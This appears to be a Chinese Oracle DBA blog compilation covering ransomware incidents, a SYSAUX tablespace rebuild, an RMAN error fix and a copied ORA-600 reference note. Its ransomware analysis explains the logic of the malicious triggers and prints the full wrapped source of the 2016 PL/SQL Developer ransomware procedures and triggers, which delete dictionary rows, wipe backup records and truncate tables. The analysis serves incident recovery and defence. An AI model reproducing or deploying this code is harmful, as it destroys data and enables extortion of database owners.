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在国内一个汽车制造商的生产库中碰到该类问题。

相对比16年的那次,病毒变种了,增加了额外2个存储过程。当时客户的生产库离1200天还不到2个小时,但是庆幸还有备份。

···所以悄悄的作弊了,改系统时间,备份恢复后对相关的触发器和存储过程进行删除后,系统恢复运行。但是建议客户进行datapump数据干净导出。

8月12,又一次遭遇比特币勒索病毒,变种。

sysaux表空间损坏导致db无法open的故障修复–重建sysaux 表空间

某政府机关核心数据库sysaux表空间由于光纤链路问题出现损坏导致数据库无法open,通过特殊的办法修复,后续补上.

 

该问题为重建sysaux的过程,主要sysaux表空被截断了,文件大小不对.所以采用重建的办法.主要步骤如下:

 

1.用exp基于表空间的方式备份数据

2.查询当前数据库有多少组件

3.删掉sysaux表空间

4.卸载相关组件

5.重建sysaux表空间

6.重装组件

7.expdp导出全库重建整个库.

 

将该SYSAUX 数据文件 offline 后启动实例到 open 状态

 

SQL> alter database datafile 3 offline drop;Database altered.
SQL> alter database open;

Database altered.

SQL> select status from dba_tablespaces where tablespace_name=’SYSAUX’;

STATUS ——— ONLINE

SQL> select file_name,status,online_status from tablespace_name=’SYSAUX’;

FILE_NAME ——————————————————————————–STATUS ——— ——-

===该部分作者加密===

SQL> alter session set events ‘25475 trace name context off’; Session altered.

安装该组件

SQL> @?/rdbms/admin/owminst.plb

测试 exp 导出已经可执行

 

重建 DB CONTROL

 

SYSMAN需要删掉。

 

SQL>alter session set events ‘25475 trace name context forever, level 2’;
Session altered.
SQL> drop user sysman cascade;

User dropped.
SQL> alter session set events ‘25475 trace name context off’;
Session altered.
SQL> @?/sysman/admin/emdrep/sql/emreposcre ?/ SYSMAN luda TEMP ON;

 

重建 OLAP

[oracle@rac ~]$ cd $ORACLE_HOME/olap/admin

SQL> @catnoamd.sql

SQL> @olapidrp.plb

SQL> @catnoaps.sql

SQL> @catnoxoq.sql

SQL> @cwm2drop.sql

SQL> @?/olap/admin/olap.sql SYSAUX TEMP;

安装 Oracle Spatial

SQL> @?/md/admin/mdinst.sql;

安装 TX

SQL> @?/ctx/admin/catctx luda SYSAUX TEMP NOLOCK;

SQL> conn CTXSYS/luda
SQL> @?/ctx/admin/defaults/dr0defin.sql “AMERICAN”

安装 XML

SQL> conn / as sysdba
SQL> @?/rdbms/admin/catqm.sql luda SYSAUX TEMP;

SQL> @?/rdbms/admin/catxdbj.sql;
SQL> @?/rdbms/admin/catrul.sql;

安装 TEXT

SQL> @?/ctx/admin/catctx aaa SYSAUX TEMP NOLOCK; SQL> conn CTXSYS/luda
SQL> @?/ctx/admin/defaults/dr0defin.sql “AMERICAN”

安装 Oracle Intermedia
SQL> @?/ord/admin/ordinst.sql SYSAUX SYSAUX;

SQL> @?/ord/im/admin/iminst.sql;

 

2016年在国内的plsql developer工具注入脚本的原理解释(代码不作公开)

在10月左右国内爆发了一阵子关于Oracle数据库锁定以及删除的比特币勒索事件,笔者历经数次此类问题,客户深受其害,在没有备份的情况下有些数据救回来了有些则被病毒恶意删除了,在本文里病毒代码不作解释公开,仅作解析原理以及学习交流使用.

14

该恶意脚本通过触发器的方式来实现对数据库的破坏,分为三部分:

DBMS_SUPPORT_INTERNAL

该触发器为数据库启动触发,启动后执行如下操作

  1.  检查数据库创建时间是否大于1200天,如果好过1200则创建orachk表来备份tab$表,此后删除tab$中除掉owner#为0和38的行.
  2. 接着通过dbms_backup_restore清理整个数据库的备份信息
  3. 然后通过dbms_system在alert日志中写上如上图的相关告警提示信息

DBMS_SYSTEM_INTERNAL

该触发器为数据库登陆触发,该触发器作用主要是是对不在表空间system,example,sysaux表空间的对象进行统计信息最后分析时间的对比,如果存在1200天以上的表未做统计信息分析则会判断下是否属于C89239的客户端的进程,如果不是则出发事件告警.告知登陆用户数据库被锁定.

DBMS_CORE_INTERNAL

该触发器为数据库用户登陆触发,为整个恶意脚本中最严重的破坏部分.在用户登陆后,会触发对归属于当前登陆用户的不在表空间system,example,sysaux表空间的表并且过滤掉带$的表以及orachk备份表,簇表进行统计信息收集的时间进行收集对比,如果存在超过1200天未收集统计信息,则truncate对应的表(不是全部表truncate,还是有条件的). 然后告警.

 

处理办法:

 

基于该问题的解决办法,有备份则备份恢复,没备份则通过Mdata或者dul恢复被truncate.当然还涉及到基表tab$表的的一些情况,需要根据tab$是否被清理,系统中离上次收集统计信息超过1200天的表有哪些等来做一些条件判断. orachk的备份表可以起到比较重要的作用.

 

该脚本原文:(可以用本站的plsql反解密工具进行解密.)

create or replace procedure “DBMS_SUPPORT_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
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TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==

/
PROMPT Create “DBMS_SUPPORT_INTERNAL ”
create or replace trigger “DBMS_SUPPORT_INTERNAL ”
after startup on database
begin
“DBMS_SUPPORT_INTERNAL “;
end;
/
CREATE OR REPLACE procedure “DBMS_SYSTEM_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
3a5 384
D8WvgOUUGiT5i6HOYNlx/FlHr5Ywg/AJDwwFaY6aA08GR5wUL2MmCn3bLQVdPGCbIPrwCrxG
oPo8ULTCGw2SUmHGstQ2bVHHt5N1tC6gC5Wc7X1qIqnKvHSft0hv/qDdAsf/1zpzrcGr6NHg
+t9/XwxCPcDYAW1wPfcqrC6yPqX+/Vsxqx3IL6/hULowV5aRixEC6FMU4NaFRaddQPRvwyHl
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dJx8HqqijllMRBoWyzVCRLqloOMmbTjgyvPaqwl/EXtrLt1lhAt0TzaF0bOmnMgnFnXu0zHK
H6kuNyzXmTF0Y2bpbhhZIH5q3SZXgHcpEfJGAX5tm94MdChf5Qyf4dtVTxfbWDGKd4oU0bN6
eSz7+3VaYXykk5fnVLcWzlXOn0ig8qTe+s8g+yWfW4hAZm0WpNHfLlWRB7dDWLkBsBLkHmrQ
0B9zA9cAHvTh6HmUN865J7vov6ZLc+X+KsTH7ULSQ88DmjG1Py3HVa0sftZ8AO2Htp5sKk8Q
IgNTQQ/FXYUdd28rwG25l9KjtxjJxOLcD0FIgf45T1eprwVVCr8XvU8Z9dVrKKdWENo/mi6z
UR84A5RcLGRFNVeT3tgVobWlTvkTjGq5Q48ywY99wbn6+em7yRpvDgRnvkNC/Xp+IaMupWi0
Ypj3KHl4rOW6JjociXiPSu8cZp25NcuXNXHeNjLj/Y8jh+vQUbWbXqGlPqKO26/scgimuQO0
IOZxMoao9cUBXZaoWlZVwuQetwffXHZGqEY/bvWEOxkRhI0cg4PlB/DyzeKd+u6GDB876yoT
PBEx7DsW0gARJWjtmk3EITM=

/
CREATE OR REPLACE TRIGGER “DBMS_SYSTEM_INTERNAL ”
AFTER LOGON ON DATABASE
BEGIN
“DBMS_SYSTEM_INTERNAL “;
END;
/
create or replace procedure DBMS_STANDARD_FUN9 wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
69 9a
8qPs2BvPyop5gdYsYiM6d3OX/X4wg6RtrcupfHQ2JkICDBEpacVJ33D0BF12Udm1qjWJ3p8a
PTQzNujgdF0LJz6M06sNjH28d2D11hbDoLhreR50pKELek9RaqbOhmll1tuFFLR5oEho2F3o
LOPeiFY=

/
create or replace procedure “DBMS_CORE_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
73c 4c4
SlwavX1476MVTf7FOLHh3KBF3Nkwg81eTPb9gI7NAz+VeRF1VcLz8dNYVxVjjD0Woxede4IK
xT+TPCVhb6dsZjsGBNIXg8Zv8rJ/vaFVQNRptsSoUib6DA9uB/mpZ4UMa7/JedXRPtK+w0sR
uVW+/kES/zHIW9/2om6vAmBVti2kuG/avJFosNFu+dGp756mzTCtTQt9gIeQCKvJq8PCZY8Q
U2HD0SZfyMPmE8CY6UKVTYnybAPoDO0O876KpGRL+x60VoncjwpXXdJFgMGtRoZa1o1iU8M+
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0oue9nXoXGWU3q+9qquCMlW/Z2+oDZrmi85wL35WWIBWMg7MWyjYhO1QAaJeHdy2dFXOjGNl
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YaLCCPW0LsKO9fPIMVnefBP3Zq0PKxMoooKU6cP+aUzNVpnj/wsMnTVC70hg+VE14+xu+J61
fyH226y2n65ptDcHeZuChA13yU6F3jwOuPwBldyOQFmZRj+AZL8aNY5xi8QtgvqQ8llOc2zg
D0zYcYdWwsvUQm2CZftXMjaEtUETw1eC0cnMoQ+I5NhanNshdEzG6INVX06p/b4NYsL+wBe7
+k+atflqCO5OzQcGth8wFKPK65GGj9ev76kSDxzkCe21IxK1wR8FB9qYnaSaqu1OBn0ciR9v
udicE6Rkhzrk/JuQI5iTjep9yUJjRW7YVmgc72mGuQoXD3qYEs6lfYC2j30TW2S8EOKLRIYa
bey9sAget7sz9cT6O68we5P4MO8pKBhVszl6AM/k67mx+ND+hxwQDU4RtdBbrr/QKBlHs+Gg
kkt7zYFhVrSrLsZQDFC9+hQC15Hh9qG/AM2v/G9uBYWsoXuKNZQr+JO/dyzm36wasf2wt/qd
g7AKkgttoSQemtwumco6VgzGyDtskxmjhFi7sDlNjf/o5BCumd/zUqp8qTXsJidULErfOLIs
VpDLW4y5kjpzGDqAsALLacnR+R/4JGJh02GpmiPN7Z2mGzsg1Q==

/
CREATE OR REPLACE TRIGGER “DBMS_CORE_INTERNAL ”
AFTER LOGON ON SCHEMA
BEGIN
“DBMS_CORE_INTERNAL “;
END;
/

更详细的解释可以百度搜索.

损人不利己的事情还是要敬而远之.做一个有正能量的开发人员

在10月底到11月的plsql病毒分析中,顺便弄了此工具方便使用wrap加密后的存储过程解密. HC把乱糟糟的代码重编译了下,使用起来更简单了。

关于这个解密原理很简单,ITPUB有很详细的说明,这里就不刨根究底了。

 

给予10,11g plsql 解密指引参考:

 http://www.itpub.net/thread-1154232-1-1.html

 

9I的plsql解密原理参考:

http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Finnigan.pdf

 

使用语法:

 

用界面太弱了(其实我们懒),所以还是纯命令行格式.注意路径.

 

java -jar unwrap.jar  加密文件  [解密文件]

 

1

 

下载地址:

 

UNWRAP.JAR DOWNLOAD

发布个plsql的解密小工具- unwrap

Oracle 11g Rman – 08317错误

在一次帮助客户解决归档满的过程中遭遇了此错误. 客户是新上线系统,11g版本.设置了归档清除脚本(脚本参考:http://www.ludatou.com/?p=766),结果发现以往没问题的脚本在此刻居然行不通,报了一对Rman-08517的错误,经查询发现是在11g里归档日志记录的一个机制导致的,必须加上force才可以.

 

命令如下:

delete noprompt force archivelog until time ‘sysdate – 7’;

 

经查询确认为Oracle 11g的归档日志记录机制导致的,需要在delete后加上force,metalink解释为:

RMAN-08137 When deleting archivelogs even when Streams CAPTURE does not require them [ID 1079953.1]
修改时间 27-FEB-2011     类型 PROBLEM     状态 PUBLISHED

In this Document
Symptoms
Changes
Cause
Solution
References

Symptoms

Applies To: 11gR1-11gR2

RMAN is unable to delete archive logs from database even though they are not needed by CAPTURE process anymore.

Changes

 

Cause

In 11g, RMAN looks at MIN_REQUIRED_CAPTURE_CHANGE# in v$database and not at DBA_CAPTURE. By default this value is updated every 6 hours. So by default the value in v$database will be six hours behind the current value.

Solution

Since changing frequency of update to MIN_REQUIRED_CAPTURE_CHANGE# in v$database can not be controlled, following workaround can be used:

Archive log which are not needed by capture process can be deleted using:
delete noprompt force archivelog all completed before ‘sysdate-10/1440’;

ORA-600 Lookup Error Categories 一个很经典的metalink文档,

ORA-600 Lookup Error Categories [ID 175982.1]

Unfortunately, the old Metalink note 175982.1 which used to describe the internal mnemonic’s has disappeared from My Oracle Support.

This note, especially the “Internal Errors Categorised by mnemonic” part, might be useful to troubleshoot ORA-07445/ORA-00600. It has a lot of detail such as the error mnemonic(s), functionality and description. Here is a backup copy of this valuable note.

Modified: 16-AUG-2011 Type: BULLETIN Status: PUBLISHED

In this Document
Purpose
Scope and Application
ORA-600 Lookup Error Categories
Internal Errors Categorised by number range
Internal Errors Categorised by mnemonic


Applies to:

Oracle Server – Enterprise Edition – Version:
Oracle Server – Personal Edition – Version:
Oracle Server – Standard Edition – Version:
Information in this document applies to any platform.
Checked for relevance 04-Jun-2009

Purpose

This note aims to provide a high level overview of the internal errors which may be encountered on the Oracle Server (sometimes referred to as the Oracle kernel). It is written to provide a guide to where a particular error may live and give some indication as to what the impact of the problem may be. Where a problem is reproducible and connected with a specific feature, you might obviously try not using the feature. If there is a consistent nature to the problem, it is good practice to ensure that the latest patchsets are in place and that you have taken reasonable measures to avoid known issues.

For repeatable issues which the ora-600 tool has not listed a likely cause , it is worth constructing a test case. Where this is possible, it greatly assists in the resolution time of any issue. It is important to remember that, in a many instances , the Server is very flexible and a workaround can very often be achieved.

Scope and Application

This bulletin provides Oracle DBAs with an overview of internal database errors.

Disclaimer:Every effort has been made to provide a reasonable degree of accuracy in what has been stated. Please consider that the details provided only serve to provide an indication of functionality and, in some cases, may not be wholly correct.

ORA-600 Lookup Error Categories

In the Oracle Server source, there are two types of ora-600 error :

  • the first parameter is a number which reflects the source component or layer the error is connected with; or
  • the first parameter is a mnemonic which indicates the source module where the error originated. This type of internal error is now used in preference to an internal error number.

Both types of error may be possible in the Oracle server.

Internal Errors Categorised by number range

The following table provides an indication of internal error codes used in the Oracle server. Thus, if ora-600[X] is encountered, it is possible to glean some high level background information : the error in generated in the Y layer which indicates that there may be a problem with Z.

Ora-600 Base Functionality Description
1 Service Layer The service layer has within it a variety of service related components which are associated with in memory related activities in the SGA such as, for example : the management of Enqueues, System Parameters, System state objects (these objects track the use of structures in the SGA by Oracle server processes), etc.. In the main, this layer provides support to allow process communication and provides support for locking and the management of structures to support multiple user processes connecting and interacting within the SGA.Note : vos – Virtual Operating System provides features to support the functionality above. As the name suggests it provides base functionality in much the same way as is provided by an Operating System.

Ora-600 Base Functionality Description
1 vos Component notifier
100 vos Debug
300 vos Error
500 vos Lock
700 vos Memory
900 vos System Parameters
1100 vos System State object
1110 vos Generic Linked List management
1140 vos Enqueue
1180 vos Instance Locks
1200 vos User State object
1400 vos Async Msgs
1700 vos license Key
1800 vos Instance Registration
1850 vos I/O Services components
2000 Cache Layer Where errors are generated in this area, it is advisable to check whether the error is repeatable and whether the error is perhaps associated with recovery or undo type operations; where this is the case and the error is repeatable, this may suggest some kind of hardware or physical issue with a data file, control file or log file. The Cache layer is responsible for making the changes to the underlying files and well as managing the related memory structures in the SGA.Note :rcvindicates recovery. It is important to remember that the Oracle cache layer is effectively going through the same code paths as used by the recovery mechanism.

Ora-600 Base Functionality Description
2000 server/rcv Cache Op
2100 server/rcv Control File mgmt
2200 server/rcv Misc (SCN etc.)
2400 server/rcv Buffer Instance Hash Table
2600 server/rcv Redo file component
2800 server/rcv Db file
3000 server/rcv Redo Application
3200 server/cache Buffer manager
3400 server/rcv Archival & media recovery component
3600 server/rcv recovery component
3700 server/rcv Thread component
3800 server/rcv Compatibility segment

It is important to consider when the error occurred and the context in which the error was generated. If the error does not reproduce, it may be an in memory issue.

4000 Transaction Layer Primarily the transaction layer is involved with maintaining structures associated with the management of transactions. As with the cache layer , problems encountered in this layer may indicate some kind of issue at a physical level. Thus it is important to try and repeat the same steps to see if the problem recurs.

Ora-600 Base Functionality Description
4000 server/txn Transaction Undo
4100 server/txn Transaction Undo
4210 server/txn Transaction Parallel
4250 server/txn Transaction List
4300 space/spcmgmt Transaction Segment
4400 txn/lcltx Transaction Control
4450 txn/lcltx distributed transaction control
4500 txn/lcltx Transaction Block
4600 space/spcmgmt Transaction Table
4800 dict/rowcache Query Row Cache
4900 space/spcmgmt Transaction Monitor
5000 space/spcmgmt Transaction Extent

It is important to try and determine what the object involved in any reproducible problem is. Then use the analyze command. For more information, please refer to the analyze command as detailed in the context of Note:28814.1; in addition, it may be worth using the dbverify as discussed in Note:35512.1.

6000 Data Layer The data layer is responsible for maintaining and managing the data in the database tables and indexes. Issues in this area may indicate some kind of physical issue at the object level and therefore, it is important to try and isolate the object and then perform. an anlayze on the object to validate its structure.

Ora-600 Base Functionality Description
6000 ram/data
ram/analyze
ram/index
data, analyze command and index related activity
7000 ram/object lob related errors
8000 ram/data general data access
8110 ram/index index related
8150 ram/object general data access

Again, it is important to try and determine what the object involved in any reproducible problem is. Then use the analyze command. For more information, please refer to the analyze command as detailed in the context of Note:28814.1; in addition, it may be worth using the dbverify as discussed in Note:35512.1.

12000 User/Oracle Interface & SQL Layer Components This layer governs the user interface with the Oracle server. Problems generated by this layer usually indicate : some kind of presentation or format error in the data received by the server, i.e. the client may have sent incomplete information; or there is some kind of issue which indicates that the data is received out of sequence

Ora-600 Base Functionality Description
12200 progint/kpo
progint/opi
lob related
errors at interface level on server side, xa , etc.
12300 progint/if OCI interface to coordinating global transactions
12400 sqlexec/rowsrc table row source access
12600 space/spcmgmt operations associated with tablespace : alter / create / drop operations ; operations associated with create table / cluster
12700 sqlexec/rowsrc bad rowid
13000 dict/if dictionary access routines associated with kernel compilation
13080 ram/index kernel Index creation
13080 sqllang/integ constraint mechanism
13100 progint/opi archival and Media Recovery component
13200 dict/sqlddl alter table mechanism
13250 security/audit audit statement processing
13300 objsupp/objdata support for handling of object generation and object access
14000 dict/sqlddl sequence generation
15000 progint/kpo logon to Oracle
16000 tools/sqlldr sql loader related

You should try and repeat the issue and with the use of sql trace , try and isolate where exactly the issue may be occurring within the application.

14000 System Dependent Component internal error values This layer manages interaction with the OS. Effectively it acts as the glue which allows the Oracle server to interact with the OS. The types of operation which this layer manages are indicated as follows.

Ora-600 Base Functionality Description
14000 osds File access
14100 osds Concurrency management;
14200 osds Process management;
14300 osds Exception-handler or signal handler management
14500 osds Memory allocation
15000 security/dac,
security/logon
security/ldap
local user access validation; challenge / response activity for remote access validation; auditing operation; any activities associated with granting and revoking of privileges; validation of password with external password file
15100 dict/sqlddl this component manages operations associated with creating, compiling (altering), renaming, invalidating, and dropping procedures, functions, and packages.
15160 optim/cbo cost based optimizer layer is used to determine optimal path to the data based on statistical information available on the relevant tables and indexes.
15190 optim/cbo cost based optimizer layer. Used in the generation of a new index to determine how the index should be created. Should it be constructed from the table data or from another index.
15200 dict/shrdcurs used to in creating sharable context area associated with shared cursors
15230 dict/sqlddl manages the compilation of triggers
15260 dict/dictlkup
dict/libcache
dictionary lookup and library cache access
15400 server/drv manages alter system and alter session operations
15410 progint/if manages compilation of pl/sql packages and procedures
15500 dict/dictlkup performs dictionary lookup to ensure semantics are correct
15550 sqlexec/execsvc
sqlexec/rowsrc
hash join execution management;
parallel row source management
15600 sqlexec/pq component provides support for Parallel Query operation
15620 repl/snapshots manages the creation of snapshot or materialized views as well as related snapshot / MV operations
15640 repl/defrdrpc layer containing various functions for examining the deferred transaction queue and retrieving information
15660 jobqs/jobq manages the operation of the Job queue background processes
15670 sqlexec/pq component provides support for Parallel Query operation
15700 sqlexec/pq component provides support for Parallel Query operation; specifically mechanism for starting up and shutting down query slaves
15800 sqlexec/pq component provides support for Parallel Query operation
15810 sqlexec/pq component provides support for Parallel Query operation; specifically functions for creating mechanisms through which Query co-ordinator can communicate with PQ slaves;
15820 sqlexec/pq component provides support for Parallel Query operation
15850 sqlexec/execsvc component provides support for the execution of SQL statements
15860 sqlexec/pq component provides support for Parallel Query operation
16000 loader sql Loader direct load operation;
16150 loader this layer is used for ‘C’ level call outs to direct loader operation;
16200 dict/libcache this is part of library Cache operation. Amongst other things it manages the dependency of SQL objects and tracks who is permitted to access these objects;
16230 dict/libcache this component is responsible for managing access to remote objects as part of library Cache operation;
16300 mts/mts this component relates to MTS (Multi Threaded Server) operation
16400 dict/sqlddl this layer contains functionality which allows tables to be loaded / truncated and their definitions to be modified. This is part of dictionary operation;
16450 dict/libcache this layer layer provides support for multi-instance access to the library cache; this functionality is applicable therefore to OPS environments;
16500 dict/rowcache this layer provides support to load / cache Oracle’s dictionary in memory in the library cache;
16550 sqlexec/fixedtab this component maps data structures maintained in the Oracle code to fixed tables such that they can be queried using the SQL layer;
16600 dict/libcache this layer performs management of data structures within the library cache;
16651 dict/libcache this layer performs management of dictionary related information within library Cache;
16701 dict/libcache this layer provides library Cache support to support database creation and forms part of the bootstrap process;
17000 dict/libcache this is the main library Cache manager. This Layer maintains the in memory representation of cached sql statements together will all the necessary support that this demands;
17090 generic/vos this layer implementations error management operations: signalling errors, catching errors, recovering from errors, setting error frames, etc.;
17100 generic/vos Heap manager. The Heap manager manages the storage of internal data in an orderly and consistent manner. There can be many heaps serving various purposes; and heaps within heaps. Common examples are the SGA heap, UGA heap and the PGA heap. Within a Heap there are consistency markers which aim to ensure that the Heap is always in a consistent state. Heaps are use extensively and are in memory structures – not on disk.
17200 dict/libcache this component deals with loading remote library objects into the local library cache with information from the remote database.
17250 dict/libcache more library cache errors ; functionality for handling pipe operation associated with dbms_pipe
17270 dict/instmgmt this component manages instantiations of procedures, functions, packages, and cursors in a session. This provides a means to keep track of what has been loaded in the event of process death;
17300 generic/vos manages certain types of memory allocation structure. This functionality is an extension of the Heap manager.
17500 generic/vos relates to various I/O operations. These relate to async i/o operation, direct i/o operation and the management of writing buffers from the buffer cache by potentially a number of database writer processes;
17625 dict/libcache additional library Cache supporting functions
17990 plsql plsql ‘standard’ package related issues
18000 txn/lcltx transaction and savepoint management operations
19000 optim/cbo cost based optimizer related operations
20000 ram/index bitmap index and index related errors.
20400 ram/partnmap operations on partition related objects
20500 server/rcv server recovery related operation
21000 repl/defrdrpc,
repl/snapshot,
repl/trigger
replication related features
23000 oltp/qs AQ related errors.
24000 dict/libcache operations associated with managing stored outlines
25000 server/rcv tablespace management operations

Internal Errors Categorised by mnemonic

The following table details mnemonics error stems which are possible. If you have encountered : ora-600[kkjsrj:1] for example, you should look down the Error Mnemonic column (errors in alphabetical order) until you find the matching stem. In this case, kkj indicates that something unexpected has occurred in job queue operation.

Error Mnemonic(s) Functionality Description
ain ainp ram/index ain – alter index; ainp – alter index partition management operation
apacb optim/rbo used by optimizer in connect by processing
atb atbi atbo ctc ctci cvw dict/sqlddl alter table , create table (IOT) or cluster operations as well as create view related operations (with constraint handling functionality)
dbsdrv sqllang/parse alter / create database operation
ddfnet progint/distrib various distributed operations on remote dictionary
delexe sqlexec/dmldrv manages the delete statement operation
dix ram/index manages drop index or validate index operation
dtb dict/sqlddl manages drop table operation
evaa2g evah2p evaa2g dbproc/sqlfunc various functions involves in evaluating operand outcomes such as : addition , average, OR operator, bites AND , bites OR, concatenation, as well as Oracle related functions : count(), dump() , etc. The list is extensive.
expcmo expgon dbproc/expreval handles expression evaluation with respect to two operands being equivalent
gra security/dac manages the granting and revoking of privilege rights to a user
gslcsq plsldap support for operations with an LDAP server
insexe sqlexec/dmldrv handles the insert statement operation
jox progint/opi functionality associated with the Java compiler and with the Java runtime environment within the Server
k2c k2d progint/distrib support for database to database operation in distributed environements as well as providing, with respect to the 2-phase commit protocol, a globally unique Database id
k2g k2l txn/disttx support for the 2 phase commit protocol protocol and the coordination of the various states in managing the distributed transaction
k2r k2s k2sp progint/distrib k2r – user interface for managing distributed transactions and combining distributed results ; k2s – handles logging on, starting a transaction, ending a transaction and recovering a transaction; k2sp – management of savepoints in a distributed environment.
k2v txn/disttx handles distributed recovery operation
kad cartserv/picklercs handles OCIAnyData implementation
kau ram/data manages the modification of indexes for inserts, updates and delete operations for IOTs as well as modification of indexes for IOTs
kcb kcbb kcbk kcbl kcbs kcbt kcbw kcbz cache manages Oracle’s buffer cache operation as well as operations used by capabilities such as direct load, has clusters , etc.
kcc kcf rcv manages and coordinates operations on the control file(s)
kcit context/trigger internal trigger functionality
kck rcv compatibility related checks associated with the compatible parameter
kcl cache background lck process which manages locking in a RAC or parallel server multiple instance environment
kco kcq kcra kcrf kcrfr kcrfw kcrp kcrr kcs kct kcv rcv various buffer cache operation such as quiesce operation , managing fast start IO target, parallel recovery operation , etc.
kd ram/data support for row level dependency checking and some log miner operations
kda ram/analyze manages the analyze command and collection of statistics
kdbl kdc kdd ram/data support for direct load operation, cluster space management and deleting rows
kdg ram/analyze gathers information about the underlying data and is used by the analyze command
kdi kdibc3 kdibco kdibh kdibl kdibo kdibq kdibr kdic kdici kdii kdil kdir kdis kdiss kdit kdk ram/index support of the creation of indexes on tables an IOTs and index look up
kdl kdlt ram/object lob and temporary lob management
kdo ram/data operations on data such as inserting a row piece or deleting a row piece
kdrp ram/analyze underlying support for operations provided by the dbms_repair package
kds kdt kdu ram/data operations on data such as retrieving a row and updating existing row data
kdv kdx ram/index functionality for dumping index and managing index blocks
kfc kfd kfg asm support for ASM file and disk operations
kfh kfp kft rcv support for writing to file header and transportable tablespace operations
kgaj kgam kgan kgas kgat kgav kgaz argusdbg/argusdbg support for Java Debug Wire Protocol (JDWP) and debugging facilites
kgbt kgg kgh kghs kghx kgkp vos kgbt – support for BTree operations; kgg – generic lists processing; kgh – Heap Manager : managing the internal structures withing the SGA / UGA / PGA and ensures their integrity; kghs – Heap manager with Stream support; kghx – fixed sized shared memory manager; kgkp – generic services scheduling policies
kgl kgl2 kgl3 kgla kglp kglr kgls dict/libcache generic library cache operation
kgm kgmt ilms support for inter language method services – or calling one language from another
kgrq kgsk kgski kgsn kgss vos support for priority queue and scheduling; capabilities for Numa support; Service State object manager
kgupa kgupb kgupd0 kgupf kgupg kgupi kgupl kgupm kgupp kgupt kgupx kguq2 kguu vos Service related activities activities associated with for Process monitor (PMON); spawning or creating of background processes; debugging; managing process address space; managing the background processes; etc.
kgxp vos inter process communication related functions
kjak kjat kjb kjbl kjbm kjbr kjcc kjcs kjctc kjcts kjcv kjdd kjdm kjdr kjdx kjfc kjfm kjfs kjfz kjg kji kjl kjm kjp kjr kjs kjt kju kjx ccl/dlm dlm related functionality ; associated with RAC or parallel server operation
kjxgf kjxgg kjxgm kjxgn kjxgna kjxgr ccl/cgs provides communication & synchronisation associated with GMS or OPS related functionality as well as name service and OPS Instance Membership Recovery Facility
kjxt ccl/dlm DLM request message management
kjzc kjzd kjzf kjzg kjzm ccl/diag support for diagnosibility amongst OPS related services
kkb dict/sqlddl support for operatoins which load/change table definitions
kkbl kkbn kkbo objsupp/objddl support for tables with lobs , nested tables and varrays as well as columns with objects
kkdc kkdl kkdo dict/dictlkup support for constraints, dictionary lookup and dictionary support for objects
kke optim/cbo query engine cost engine; provides support functions that provide cost estimates for queries under a number of different circumstances
kkfd sqlexec/pq support for performing parallel query operation
kkfi optim/cbo optimizer support for matching of expressions against functional ndexes
kkfr kkfs sqlexec/pq support for rowid range handling as well as for building parallel query query operations
kkj jobqs/jobq job queue operation
kkkd kkki dict/dbsched resource manager related support. Additionally, provides underlying functions provided by dbms_resource_manager and dbms_resource_manager_privs packages
kklr dict/sqlddl provides functions used to manipulate LOGGING and/or RECOVERABLE attributes of an object (non-partitioned table or index or partitions of a partitioned table or index)
kkm kkmi dict/dictlkup provides various semantic checking functions
kkn ram/analyze support for the analyze command
kko kkocri optim/cbo Cost based Optimizer operation : generates alternative execution plans in order to find the optimal / quickest access to the data. Also , support to determine cost and applicability of scanning a given index in trying to create or rebuild an index or a partition thereof
kkpam kkpap ram/partnmap support for mapping predicate keys expressions to equivalent partitions
kkpo kkpoc kkpod dict/partn support for creation and modification of partitioned objects
kkqg kkqs kkqs1 kkqs2 kkqs3 kkqu kkqv kkqw optim/vwsubq query rewrite operation
kks kksa kksh kksl kksm dict/shrdcurs support for managing shared cursors/ shared sql
kkt dict/sqlddl support for creating, altering and dropping trigger definitions as well as handling the trigger operation
kkxa repl/defrdrpc underlying support for dbms_defer_query package operations
kkxb dict/sqlddl library cache interface for external tables
kkxl dict/plsicds underlying support for the dbms_lob package
kkxm progint/opi support for inter language method services
kkxs dict/plsicds underlying support for the dbms_sys_sql package
kkxt repl/trigger support for replication internal trigger operation
kkxwtp progint/opi entry point into the plsql compiler
kky drv support for alter system/session commands
kkz kkzd kkzf kkzg kkzi kkzj kkzl kkzo kkzp kkzq kkzr kkzu kkzv repl/snapshot support for snapshots or Materialized View validation and operation
kla klc klcli klx tools/sqlldr support for direct path sql loader operation
kmc kmcp kmd kmm kmr mts/mts support for Multi Threaded server operation (MTS) : manange and operate the virtual circuit mechanism, handle the dispatching of massages, administer shared servers and for collecting and maintaining statistics associated with MTS
knac knafh knaha knahc knahf knahs repl/apply replication apply operation associated with Oracle streams
kncc repl/repcache support for replication related information stored and maintained in library cache
kncd knce repl/defrdrpc replication related enqueue and dequeue of transction data as well as other queue related operations
kncog repl/repcache support for loading replicaiton object group information into library cache
kni repl/trigger support for replication internal trigger operation
knip knip2 knipi knipl knipr knipu knipu2 knipx repl/intpkg support for replication internal package operation.
kno repl/repobj support for replication objects
knp knpc knpcb knpcd knpqc knps repl/defrdrpc operations assocaied with propagating transactions to a remote node and coordination of this activity.
knst repl/stats replication statistics collection
